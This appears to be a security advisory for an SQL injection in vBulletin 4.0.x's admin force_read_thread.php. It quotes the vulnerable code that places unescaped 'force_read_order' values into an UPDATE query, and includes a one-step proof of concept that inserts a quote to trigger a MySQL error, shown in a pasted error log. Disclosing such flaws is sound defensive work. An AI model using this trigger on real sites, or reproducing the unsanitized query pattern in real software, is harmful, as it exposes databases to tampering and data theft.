source: http://www.securityfocus.com/bid/61449/info

VBulletin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

VBulletin 4.0.x are vulnerable. 

The exploit is caused due to a variable named 'update_order' not being
sanitized before being used within an insert into statement.

if ($_REQUEST['do'] == 'update_order')
{
$vbulletin->input->clean_array_gpc('r', array(
'force_read_order'   => TYPE_ARRAY
));

if ($vbulletin->GPC['force_read_order'])
{
foreach ($vbulletin->GPC['force_read_order'] AS $threadid => $order)
{
$db->query_write("
UPDATE " . TABLE_PREFIX . "thread AS thread
SET force_read_order = '$order'
WHERE threadid = '$threadid'
");
}
}
  POC
 You will need Admincp Access then go to
site.com/admincp/force_read_thread.php then in the force read order colum
put a ' into one of them to show this
 Database error in vBulletin 4.2.1:

Invalid SQL:

UPDATE thread AS thread
SET force_read_order = '1''
WHERE threadid = '5161';

MySQL Error   : You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
'5161'' at line 2
Error Number  : 1064
Request Date  : Thursday, July 25th 2013 @ 01:20:52 AM
Error Date    : Thursday, July 25th 2013 @ 01:20:52 AM
Script        :
http://www.example.com/admincp/force_read_thread.php?do=update_order
Referrer      : http://www.example.com/admincp/force_read_thread.php
IP Address    :
Username      : n3tw0rk
Classname     :
MySQL Version :